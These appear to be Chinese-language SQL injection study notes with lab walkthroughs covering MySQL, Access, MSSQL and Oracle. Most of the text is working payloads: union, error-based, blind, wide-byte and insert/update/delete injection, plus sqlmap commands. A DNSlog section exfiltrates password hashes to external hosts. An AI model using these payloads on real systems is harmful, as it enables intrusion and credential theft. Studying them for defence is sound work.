SQL注入
先判断是哪种数据库。再进行后续操作。
SQL注入漏洞产生的原理
web应用程序,对用户输入的语句没有做严格的过滤,导致被输入的语句被拼接成恶意代码的SQL语句进入数据库中查询,修改信息等。
所以SQL注入漏洞需要的条件:
1、可控的参数
2、参数能带入到数据库,与数据库进行交互
SQL注入漏洞的危害
1、获取管理员账号密码,控制数据库
2、数据库信息泄露,修改等
3、导致服务器被控制。
SQL注入漏洞防护
1、最小化权限,给数据库设置最小权限
2、对用户输入的参数进行严格的过滤
3、使用预编译语句和参数化查询
4、不要暴露SQL语句错误的信息
SQL注入分类
(1)注入请求方法类型分类
根据注入请求方法类型,可以分为GET注入、POST注入、HTTP头注入
GET注入:HTTP请求方法为GET,参数显示在url中,如?id=1 id注入点
POST注入:HTTP请求方法为POST,参数在请求体中,注入点在请求体中
HTTP头注入:注入点在HTTP头中,如ua、cookie、referer等HTTP头中
(2)根据注入点参数分类
有整数型注入和字符型注入。
整数型注入:参数为数字
字符型注入:参数为字符,需要注释闭合。
在字符型注入中,有单引号闭合,双引号闭合,小括号,大括号闭合等
(3)根据注入方式分类
union联合查询注入方式
报错注入方式
布尔盲注方式
时间盲注方式
dnslog注入方式
宽字节注入方式
http头注入方式
order by注入方式
undate注入方式
insert注入方式
二次注入
堆叠注入
等等方式(后续再补充)
(1)union联合查询方式
适用于页面出现回显位置。
-1 union select 1,2,group_concat(schema_name) from information_schema.schemata 查询所有数据库的名称
-1 union select 1,2,database() 查询当前数据库名称
-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='库名' 查询数据库下的所有表名信息
-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' 查询数据库下某表的所有字段信息
-1 union select 1,2,group_concat(列名1,'<br>',列名2) from 库名.表名 查询数据
注:limit m,n 可以控制输出的多少。 m表示从m开始,n表示输出多少。
比如limit 0,1 就是从0行开始,输出1行。
(2)报错注入方式
适用于页面没有回显位置,但是有SQL语句出错的信息。
-
常用函数:updatexml()、concat()
-
语法:updatexml(XML_documen,XPath_string,new_value)、
-
实例:updatexml(1,concat(‘!’,database(),‘!’),1)
在updatexml函数中第一个参数为需要更新的名称,第二个参数为路径,第三个参数为更新的名称 concat是拼接函数,如果路径中存在特殊符号,比如~,!等就会报错;同时显示路径参数的内容。 实例中,有特殊符号!,所以会报错,并且把数据库名称显示出来。 ps:由于updatexml()返回的字符串长度最多为31个字符,所以这里可以通过substr函数分两步来截取。 1、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),1,31)),1); 从1个字符开始截取,截取31个字符。 2、select updatexml(1,concat('~',substr((select group_concat(schema_name) from information_schema.schemata),32,31)),1); 从32个字符开始,截取31个字符。
(3)布尔盲注方式
布尔盲注适用于,没有回显位置,不能使用union联合查询注入方式,没有回显SQL语句错误的信息,也不能使用报错注入方式。
但是会回显正确的页面和错误的页面。
这里需要注意的是,在手工布尔盲注的时候,我们需要先找到一个参数是查询正确的页面,比如id=1,先找到正确的页面,然后再正确的页面上构造闭合注释,然后才去进行猜测数据。
-
常用函数:length(),substr(),ascii()
length()函数:返回字符串长度 substr()函数:截取字符串 语法substr(参数1,参数2,参数3) 参数1是要截取的字符串,参数2是从哪里开始截取,参数3是要截取多少 ascii()函数:将字符转化为ascii码
-
实例:
1、查询数据库的长度:1' and (select length(database())>1)--+ 2、查询数据库的名称:1' and (ascii(substr((database()),1,1)))>1 --+ 3、查询数据库表的数量:1' and (select count(*) table_name from information_schema.tables where table_schema='库名')>1 --+ 4、查询表的长度:1' and (select length(table_name) from information_schema.tables where table_schema='库名' limit m,n)>1 --+ ps:limit m,n m是从哪里开始,n是输出多少 通过修改m的值,则可以把所有的表都查询长度 5、查询表的名称:1' and (ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit m,n),1,1)))>1 --+ ps:同样是修改limit m,n 控制第几张表 而通过控制substr函数的参数2,修改表名称的第几位 6、查询字段的数量:1' and (select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')>1 --+ 7、查询字段的长度:1' and (select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit m,n)>1 --+ 8、查询字段的名称:1' and (ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit m,n),1,1)))>1 --+ 9、查询数据的数量:1' and (select count(*) 字段名 from 库名.表名)>1 --+ 10、查询数据:1' and (ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1)))>1 --+
(4)时间盲注方式
时间盲注适用于,不能使用union联合查询(没有回显位置),不能使用报错注入(没有返回错误的sql语句),也不能使用布尔盲注(没有正确的页面和错误的页面),也就是不管语句是对的,还是错的,都是回显一样的页面。这时可以使用时间盲注。
这里需要注意的是,时间盲注,也需要找到一个正确的数据,然后and的时候,后面接上需要判断的语句。
所以需要if函数判断对错、substr函数截取字符、ascii函数转换字符、slee函数
-
常用函数
if(ex1、ex2、ex3)
当ex1正确的时候,执行ex2,否则执行ex3
-
实例
0、判断注入类型:1' and sleep(5) --+ 1、判断数据库长度:1' and (if(length(database())=7,sleep(5),1)) --+ 2、判断数据库名称:1' and (if((ascii(substr((database()),1,1))=112),sleep(5),1)) --+ 3、判断表的数量:1' and (if((select count(*) table_name from information_schema.tables where table_schema='数据库名')=5,sleep(5),1)) --+ 4、判断表的长度:1' and (if((select length(table_name) from information_schema.tables where table_schema='库名' limit 0,1)=8,sleep(5),1)) --+ 5、判断表的名称:1' and (if(ascii(substr((select table_name from information_schema.tables where table_schema='库名' limit 0,1),1,1))=104,sleep(5),1)) --+ 6、判断字段的数量:1' and (if((select count(*) column_name from information_schema.columns where table_schema='库名' and table_name='表名')=6,sleep(5),1)) --+ 7、判断字段的长度:1' and (if((select length(column_name) from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1)=2,sleep(5),1)) --+ 8、判断字段的名称:1' and if(ascii(substr((select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),1,1))=105,sleep(5),1) --+ 9、判断数据的数量:1' and if((select count(*) 字段名 from 库名.表名)=3,sleep(5),1) --+ 10、判断数据的长度:1' and if((select length(字段名) from 库名.表名 limit 0,1)=5,sleep(5),1)--+ 11、判断数据的名称:1' and if((ascii(substr((select 字段名 from 库名.表名 limit 0,1),1,1))=97),sleep(5),1)--+
(5)dnslog注入方式
dnslog注入适用于,存在布尔盲注的时候,时间盲注是布尔盲注不可用,但是dnslog注入相反,存在布尔盲注的时候,一个一个的去测很麻烦,这时就可以使用dnslog注入。
-
需要的条件:
1、公网服务器
2、开启secure_file_priv读写权限
3、window平台,使用UNC路径
load_file函数:是读取文件并返回文件内容为字符串
-
实例
首先去dnslog.cn获取一个服务器,dnslog有时候打不开。 这里使用dig.pm 比如:获取得到 6a182d34.ipv6.1433.eu.org. select load_file("\\6a182d34.ipv6.1433.eu.org.\abc"); 1、获取数据库信息:1' and load_file(concat('\\\\',(select database()),'.4wf899.dnslog.cn\\abc')) --+ ps:注意服务器前面要加上 . 为什么需要四个\\\\,\可能会被当成转移字符,所以再\前面再加上\就表示这里是一个\符号,而不是转移字符。 2、获取表名信息:1' and load_file(concat('\\\\',(select table_name from information_schema.tables where table_schema='库名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+ 3、获取列名信息:1' and load_file(concat('\\\\',(select column_name from information_schema.columns where table_schema='库名' and table_name='表名' limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+ 4、获取数据:1' and load_file(concat('\\\\',(select password from 库名.表名 limit 0,1),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+ ps:在获取密码的时候,由于密码可能太长,导致无法带出,所以需要截取函数substr。 1' and load_file(concat('\\\\',substr((select password from 库名.表名 limit 2,1),1,31),'.6a182d34.ipv6.1433.eu.org.\\abc')) --+ 从第一位开始截取31位,发现能dnslog能带出了,然后再从32位开始截取31位,这样就能将密码加密的md5带出了。
(6)宽字节注入方式
什么是宽字节?宽字节是相对于ascii这样的单字节编码来说的,常见的宽字节有GBK,utf-8等.GBK汉字占两个字节,utf-8汉字占三个字节
宽字节注入适用于,为了防止SQL注入,使用了转义函数(addslashes/mysql_real_escape_string/mysql_escape_string等,还有一个情况是魔术引号,magic_quote_gpc,不过魔术引号已经在高版本的php中去除了) 将客户输入的特殊字符(’ " 等测试sql注入字符)转义为\ ’ 的情况下
所以在使用宽字节注入的时候,必须要的一个条件就是MySQL数据库使用GBK编码。
在MySQL数据库使用宽字节(如GBK编码)的时候,会认为两个字符是一个汉字,当我们输入单引号的时候,转义函数会将单引号转义为\ ' ,而如果我们在\的前面再加上一个字符,那么加上的这个字符就和\组成了一个汉字,而后面的单引号就逃逸出来了
这里\的url编码为%5c,也就是在%5c前面加上一个大于ascii码的字符就可以与%5c变成一个字符.如%df
所以%df%5c就是一个中文字符'運'
如果%df被禁止了,怎么办?还可以使用%de,%de%5c组成中文字符'轡'
- 实例
0、在post请求方法、字符型注入类型、宽字节注入+union注入方式下
1、判断字段数:1%df' and 1=2 order by 1,2 --+
2、判断回显位置:1%df' and 1=2 union select 1,2 --+
3、判断数据库信息:1%df' and 1=2 union select 1,database() --+
4、判断表名信息:1%df' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+
5、判断列名信息:1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 0,1)--+
ps:这里查询列名的时候,不得不用到',那么这里有两个方法,可以绕过单引号
一、子嵌套法:就像上面的语句,在where条件列名的时候,再查询一次,并且通过limit来控制第几张表
二、将库名、表名转化为hex
5、判断列名:1%df' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=0x68747470696E666F --+
6、判断数据:1%df' and 1=2 union select 1,group_concat(id,userid) from pikachu.httpinfo --+
- 利用sqlmap跑
1、检测是否存在宽字节注入:sqlmap -u "http://ctf.aabyss.cn:80/vul/sqli/sqli_widebyte.php?__CBK=3f5392529cfb9e2c01d71d0b4dc9d4ad21688026197_3146" --data="name=1 * ^&submit=%E6%9F%A5%E8%AF%A2" --batch --tamper unmagicquotes
ps:利用脚本 --tamper unmagicquotes检测是否存在宽字节注入
2、爆数据库名:
(7)http头注入方式
什么是http头注入?有时候,我们的输入的参数会被防护,但是网站会记录我们的cookie、user-agent、referer等信息,而且与数据库交互,并未对我们的http头信息进行过滤,这时我们就可以在http头这里使用sql注入。
在手工http头注入的时候,需要配合我们的报错注入来结合。
所以需要使用我们的updatexml函数。
updatexml(1,concat(0x7e,(查询的语句),0x7e),1)
- 实例
在pikachu靶场中的http头注入练习,首先需要登录账号。
登陆之后,发现信息被记录,这时候使用抓包,然后刷新页面。得到user-agent、referer等信息。
http头注入,不能使用union联合查询方式注入。
1、查询数据库名:在对应的http头,1' and updatexml(1,concat(0x7e,database()),1) or'
ps:为何要使用or' 去闭合后面的语句,而不能使用注释符,我也未搞清楚
2、查询表名:1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),0x7e),1) or'
3、查询字段名:1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='pikachu'),0x7e),1) or'
4、查询数据:1' and updatexml(1,concat(0x7e,(select group_concat(username) from pikachu.users),0x7e),1) or'
ps:如果是查密码,而不是账户,密码一般是md532位加密,但是updatexml回显只能31位,所以就需要substr函数去截取。
5、查询密码:1' and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),1,31),0x7e),1) or'
1' and updatexml(1,concat(0x7e,substr((select group_concat(password) from pikachu.users),32,31),0x7e),1) or'
- 利用sqlmap跑
1、检查是否存在http头注入:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch
ps:在level等级为2的时候会检查cookie是否存在注入,在level等级为3的时候会检查http头是否存在注入。
2、曝出数据库:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch --dbs
3、曝出表名:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ --tables
4、曝出字段名:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ -T ”表名“ --columns
5、曝出数据:sqlmap -u "http://challenge-227d15088418bb53.sandbox.ctfhub.com:10800/" --level=3 --batch -D ”库名“ -T ”表名“ -C ”字段名“ --dump
(8)insert注入方式
insert/undate/delete 和select不同之处在于,他们是一个操作,而不是查询,所以不能与union做联合查询,可以通过报错的方式回显。
insert增,通常用于注册的时候,插入我们的sql语句;
在文本框中输入的只是账号密码等,实际执行的sql语句是:
insert into 表名 (字段1,字段2,字段3) vlaues (1,2,3);
delete删,通常用于留言板,或者删除一些其他的数据时;
实际执行的sql语句是:
delete from 表名 where 条件=xx;
update改, 通常用于修改个人信息的时候,
实际执行的sql语句是:
update 表名 set 字段1=xxx,字段2=xxx,字段3=xxx where 条件=xxx;
insert在MySQL数据库中是增加的意思。用pikachu数据库为例子。
如下图,在pikachu数据库中的member表下,有id,username,pw,sex,phonenum,address,email
所以我们插入数据的时候是这样写
insert into 表名 (id,username,pw,sex,phonenum,address,email) values (8,'afan','123456',1,2,3,4)
注意如果插入的数据是字符,那么需要单引号,查询表下的结构,使用desc 表名即可
所以pikachu靶场中insert注入,在注册时,插入我们的sql语句。
1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'
ps:这里注意,因为在注册的时候,在用户这一栏插入语句,所以语句的两头应该有' '
所以正常的语句应该如下:
'1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and''
1、查询数据库名字:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'
2、查询表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and'
3、查询字段名:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1) and'
4、查询数据:1' and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and'
ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。
查询密码:1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and'
1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and'
(9)update注入方式
update在MySQL数据库,是更新的意思。同样以pikachu数据库为例子。
所以我们更新数据的语句是
update 表名 set 字段名1=xx,字段名2=xx where 条件=xx
ps:如果字段的类型是字符型,那么需要加上‘ ’
例如:update member set username='chaofan',pw='111111',sex='boy',phonenum='123',address='yanhe',email='9348' where id=28;
- 实例
首先使用注册的账号密码,从update注入页面登录到pikachu
这里其实,还是利用修改信息的时候,插入报错语句,让其进行报错回显。
1、查询数据库名字:1' and updatexml(1,concat(0x7e,(database()),0x7e),1) and'
2、查询表名:1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1) and'
3、查询字段名:1' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1) and'
4、查询数据:1' and updatexml(1,concat(0x7e,(select username from pikachu.users limit 0,1),0x7e),1) and'
ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。
查询密码:1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1) and'
1' and updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1) and'
(10)delete注入
delete在MySQL数据库,是删除的意思。同样以pikachu数据库为例子。
所以我们删除数据的语句是:
delete from 表名 where 条件=xxx;
所以我们删除的时候,实际上是在执行这一条语句。
所以在delete注入的时候,插入sql语句:
delete from 表名 where 条件=xxx or updatexml(1,concat(0x7e,(database()),0x7e),1)
or逻辑或,一个条件为真,则为真。
- 实例
以pikachu为例子:
在delete注入模块,抓点击删除的包。然后发现在url中有id=56,单引号之后,发现报错,说明存在sql注入。
1、曝出数据库名:56 or updatexml(1,concat(0x7e,database(),0x7e),1)
url编码:
56+or+updatexml(1,concat(0x7e,database(),0x7e),1)+
ps:将代码改为url编码的格式,不然会报错,因为这是GET请求方式
2、曝出表名:56 or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1),0x7e),1)
url编码:
56+or+updatexml(1,concat(0x7e,(select+table_name+from+information_schema.tables+where+table_schema%3d'pikachu'+limit+3,1),0x7e),1)+
3、查询字段名:56 or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_schema='pikachu' and table_name='users' limit 0,1),0x7e),1)
url编码:
56+or+updatexml(1,concat(0x7e,(select+column_name+from+information_schema.columns+where+table_schema%3d'pikachu'+and+table_name%3d'users'+limit+1,1),0x7e),1)
4、查询数据:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)
ps:同样的问题,报错注入,在查询密码的时候,只能回显31位,所以需要使用substr截取函数,来截取前31位,然后从32位再截取。
查询密码:56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),1,31),0x7e),1)
url编码:56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),1,31),0x7e),1)
56 or updatexml(1,concat(0x7e,substr((select password from pikachu.users limit 0,1),32,31),0x7e),1)
url编码:
56+or+updatexml(1,concat(0x7e,substr((select+password+from+pikachu.users+limit+0,1),32,31),0x7e),1)
1、MySQL数据库
1、判断注入点和注入类型
首先呢先判断有没有注入点。
单引号 、双引号、小括号、大括号等等字符判断。
方法一:
如果存在注入点。再进一步判断注入类型。
and 1=1 和 and 1=2 查看返回的页面是否一样。一样为字符型,不一样为数字型。
原因:‘and 1=1’ ‘and 1=2’ 字符型会有单引号把输入的字符包起来 所以不会逻辑问题上不会报错。
方法二:
还有一种方法,单引号发现报错之后,在单引号后面加上注释符号。如果回显正常了,那么是字符型,如果加上注释之后,还是报错,那么是数字型。
**原因:**输入的单引号,去闭合前面的单引号,后面的那个单引号被注释符注释了。所以闭合完成。
2、MySQL数据库基本操作
mysql -u root -p 进入mysql数据库
\q 退出MySQL数据库
show databases; 查看所有数据库名称
use 数据库名字; 使用某数据库
select database(); 查询当前使用数据库名称
show tables; 查看当前数据库下的所有表
select version(); 查询当前数据库版本
select user(); 查询当前用户
select now(); 查询当前时间
desc 表名; 查询表的结构
select * from 表名; 查询表中的所有记录
select user,password from 表名; 只查询表中user和password的记录
select user,password from 表名 where user=‘xx’; 只查询user=xx的user和password信息
万能密码:
admin
’ or ‘1’=‘1’ or是逻辑或的意思,只要有一个条件为真,它就为真。
2、Access数据库
(1)手工注入
access数据库只有一个数据库。
1、判断注入类型
可以输入,单引号,and 1=1 ,and 1=2判断
2、判断字段数
order by
3、查询表名
使用union联合查询,查询表名,但是需要注意的是,表名需要自己猜解,所以遇到access数据库,直接上sqlmap跑
4、查询字段名
这里字段名也需要猜解,然后查询 字段名 from 表名
(2)偏移注入
偏移注入,适用于,已经知道了表名,但是不知道字段名的情况下。
1、先判断一个*等于几个字段
由于已经知道了,字段数,表名
所以直接将最大的字段数22,改为*,访问页面,看正常与否,然后删除,并将21改为 * ,直到页面正常为止,如果此时字段数已经为16了,那么一个 * 就代表6个字段。
一级偏移注入:(减去6个字段)
UNION SELECT 1,2,3,4,5,6,7,8,9,10,*from (admin as a inner join admin as b on a.id = b.id)
二级偏移注入:(再减去6个字段)
UNION SELECT 1,2,3,4,a.id,b.id,c.id,*from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id)
3、Mssql数据库
mssql数据库,又叫sqlserve数据库。
Mssql数据库的注入与MySQL数据库差不多。
Mssql数据库也自带information_schema.tables columns schemata
注入过程也大同小异,其中
数据库名db_name()
用户登陆名suser_name(),sa是最高权限。
sysobjects 存放了所有的表名
syscolumns 存放了所有的字段名
有回显点,union注入
方法一:
使用MySQL数据库的规则查询
(1)判断注入类型
这里还是与MySQL数据库一样判断
(2)判断字段数
order by
(3)查看回显位置
在查看回显位置的时候,就有点不同了,mssql数据库,对类型比较严格,我们这里可以采用猜解的思路。
先 1 and 1=2 union all select null,null,null ,用null去填充位置,
然后将第一个null改为1,看看是否报错,如果报错,那么则1这个位置就是字符型,在书写的时候就得加上’ '。
1 and 1=2 union all select ‘a’,null,null
(4)查询表名
在查询表名的时候,需要注意。
1 and 1=2 union all select 1,table_name,3 from information_schema.tables
这一句可以查找一个表,比如为flags,那么我们要查第二张表怎么查?
1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags'
ps: <>这个符号是不等于的意思
比如第二张为news,那么第三张表怎么查?
1 and 1=2 union all select 1,table_name,3 from information_schema.tables where table_name<>'flags' and table_name<>'news'
(5)查询字段名
同查询表名一样。
查询flags表里的第一个字段
1 and 1=2 union all select 1,column_name,3 from information_schema.columns where table_name='flags'
如果查出来,第一个字段名为flag,要查询表里面的第二个字段
1 and 1=2 union select 1,column_name,3 from information_schema.columns where table_name='flags' and column_name<>'flag'
(6)查询数据
1 and 1=2 union select 1,flag,3 from flags
union select 字段名 from 表名
这就是我们Mssql数据库使用MySQL数据库的规则查询数据的过程
方法二:
Mssql数据库自带表sysobject,在表中,有我们数据库的所有表名。
在sysobject表中,需要注意三个字段,一个字段是name,第二个字段是id(id需要在后面查询字段名的时候使用),还有一个是xtype,xtype是类型的意思,而xtype=‘u’,意思就是用户自己创建的表
1、查询表名
1 and 1=2 union select id,name,3 from sysobject where xtype='u'
这个意思就是我们要查询,id,name,而且xtype=‘u’,从我们自带的sysobject表中查。
比如查出来的第一张表是901578250 news
要查询第二张表名
1 and 1=2 union select id,name,3 from sysobject where xtype='u' and name<>'news'
2、查询字段名
得到id值之后,下一步要去查它的字段名。
1 and 1=2 union select 1,name,3 from syscolumns where id=查到的id值
3、查数据
1 and 1=2 union select 1,name,3 from flags
实例
以墨者靶场的sqlserver靶场为例子
方法一:
1、判断注入类型
使用and 1=1 和and 1=2
发现回显不一样,这是一个整数型的sqlserver注入。
2、判断字段数
order by
这里order by 2 的时候正常 3的时候错误 4的时候又正常
应该是一个小bug,所以暂时不需要管,看成4个字段即可。
3、判断回显位置
这里需要注意,与MySQL数据库不同的地方是union select不能用了,而是使用union all select
id=2 and 1=2 union all select null,null,null,null
然后不断的修改null,查看null位置处是整数还是字符。
id=2 and 1=2 union all select 1,2,'3',4
4、判断表名
id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables
manage
id=2 and 1=2 union all select 1,2,table_name,4 from information_schema.tables where table_name<>'manage'
announcement
5、判断字段名
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage'
id
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id'
username
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username'
password
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='manage' and column_name<>'id' and column_name<>'username' and column_name<>'password'
另外一个表announcement
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement'
id
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id'
title
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title'
contents
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents'
times
id=2 and 1=2 union all select 1,2,column_name,4 from information_schema.columns where table_name='announcement' and column_name<>'id' and column_name<>'title' and column_name<>'contents' and column_name<>'times'
6、查询数据
id=2 and 1=2 union all select 1,username,password,4 from manage
admin_mz
72e1bfc3f01b7583 md5撞库为 97285101
注意啊,这里得到的密码,还是md5加密的,先去md5撞库得到密码
恭喜你 admin_mz 成功登录用户管理后台,KEY: mozhe2fb22b308899e00cd55350d36a9
方法二:
1、查询表名
需要利用sysobjects表
id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u'
得到id=5575058
表名=manage
id=2 and 1=2 union all select 1,id,name,4 from sysobjects where xtype='u' and name<>'manage'
id=101575400
表名=announcement
2、查询字段名
得到id之后,就可以查询字段名了,因为每个id对应的字段名不一样
这里需要使用另外一个表,syscolumns
id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058
id
id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id'
username
id=2 and 1=2 union all select 1,2,name,4 from syscolumns where id=5575058 and name<>'id' and name<>'username'
password
3、查询数据
得到表名manage,字段名username,password
id=2 and 1=2 union all select 1,username,password,4 from manage
得到账号密码
admin_mz
72e1bfc3f01b7583
报错注入
与MySQL一样,报错注入,适用于没有回显点的情况。
在报错注入之前,先了解一个函数
convert()函数 ,是把日期转换为新数据类型的通用函数。
原理:
and id= convert(int,@@version)
对于convert(int,@@version),convert函数首先会执行第二个参数指定的SQL查询,然后尝试将查询结果转换为int类型,但是由于这个SQL查询的结果是varchar类型,无法进行指定的转换,所以,convert函数会曝出一个SQL server错误消息,这样就能得到这个SQL查询的结果了。
convert(int,@@version) 获取版本信息
convert(int,db_name) 数据库名字
convert(int,user) 当前用户名
convert(int,@@SERVERNAME) 获取有关服务器主机的信息
1、查询表名
id=2 and convert(int,(select top 1 name from sysobjects where xtype='u'))
top 1这里就是限制输出一条的意思。、
同样的,如果想继续查下面的表
id=2 and convert(int,(select top 1 name from sysobjects where xtype='u')) where name<>'表名'
2、查询字段名
由于不知道id了,所以在查询表名的时候,还是采用MySQL数据库的方法
id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名'))
如果不止一条数据,
id=2 and convert(int,(select top 1 column_name from information_schema.columns where table_name='表名' and column_name<>'字段名'))
3、查询数据
id=2 and convert(int,(select top 1 字段名 from 表名))
最后推荐一篇关于mssql数据库,写的很全面的文章
https://www.anquanke.com/post/id/248896#h3-4
4、Oracle数据库
一般在大型企业会用到Oracle数据库,Oracle很讲究语法规则,Oracle有一个Dual(实表)虚表,用来拼凑语法规则的,分页查询使用top
1、联合查询
Dual是一个虚表,没有什么特别的意义,为了符合查询语法而诞生的。
查询用户名: select user from dual
加减法:select 9+1 from dual
Select * from all_tables 查询所有的表
Select * from user_all_tables 查询当前用户的表
Select * from all_tab_columns 查询所有字段
Select * from user_tab_columns 查询当前用户的字段
Select * from v$version 查询版本
rownum是限制输出的,比如news 表里面有3条数据
比如:select * from news where rownum=1 那么就只输出第一行
select * from news where rownum=1 and xx<>xx 就可以输出第二行
1、判断注入类型
这里的判断类型与MySQL一样
单引号,and 1=1,and 1=2等
2、判断字段数
order by
3、判断回显点
这里判断回显的类型的时候,跟MySQL数据库不一样,同样需要null占位,然后一一判断。
1 and 1=2 union select '1','2' from dual
4、查询表名
1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1
继续查询第二条
1 and 1=2 union select 1,table_name,3 from user_all_tables where rownum=1 and table_name<>'xxx'
5、查询字段名
1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1
查询第二条数据
1 and union select 1,column_name,3 from user_tab_columns where table_name='xxx' and rownum=1 and column_name<>'xxx'
。。。。。。
6、查询数据
1 and union select 1,字段名,3 from 表名
2、报错注入
首先需要了解一个函数
CTXSYS.DRITHSX.SN(user,(select banner from v$version where rownum=1))
这是去查询关于主题的关键词,然后因为查询失败(应该是用户没有查询和创建的权限,默认情况没有创建,爆出未查询到的结果从而曝出查询的内容)
比如:
1 and 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1)) 查询数据库版本
为什么要1=?
因为Oracle的语言严谨,where后面跟的都是条件,单独的字符串不能作为条件,比较才能作为条件,存在的字段名等于这个字符串也可以作为条件。
1、查表名
1 and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum cf,table_name from user_all_tables) where cf=2)
要查其他表,则修改cf=xx就行
2、查字段名
1 and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum cf,column_name from user_tab_columns) where cf=2)
获取用户名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select user from dual)%7c%7c’~') --+
获取表名 id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select table_name from all_tables where rownum=1 and owner=‘TEST’)%7c%7c’~') --+
获取字段名id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select column_name from all_tab_columns where owner=‘TEST’ and table_name=‘USERS’ and rownum=1)%7c%7c’~') --+
获取数据id=1 and 1=ctxsys.drithsx.sn(1,‘~’%7c%7c(select username from test.users where rownum=1)%7c%7c’~') --+
oracle数据库详解:https://cloud.tencent.com/developer/article/1944116
案例
联合查询
1、判断注入类型
and 1=1 和 and 1=2 返回不一样
是一个整数型注入
2、查询字段数
order by
3、查看回显类型
1 and 1=2 union select null,null from dual
dual表,任何人都可以查,这么写只是为了满足Oracle的语法规则
然后不断的改变null类型,从整数到字符。
4、查询数据库名
1 and 1=2 union select (select distinct owner from all_tables where rownum=1),'2' from dual
SYS
1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS'),'2' from dual
OUTLN
1 and 1=2 union select (select distinct owner from all_tables where rownum=1 and owner<>'SYS' and ower<>'OUTLN'),'2' from dual
5、查询表名
1 and 1=2 union select '1',table_name from user_all_tables where rownum=1
LOGMNR_PARAMETER$
1 and 1=2 union select '1',table_name from user_all_tables where rownum=1 and table_name<>'LOGMNR_PARAMETER$'
LOGMNR_SESSION$
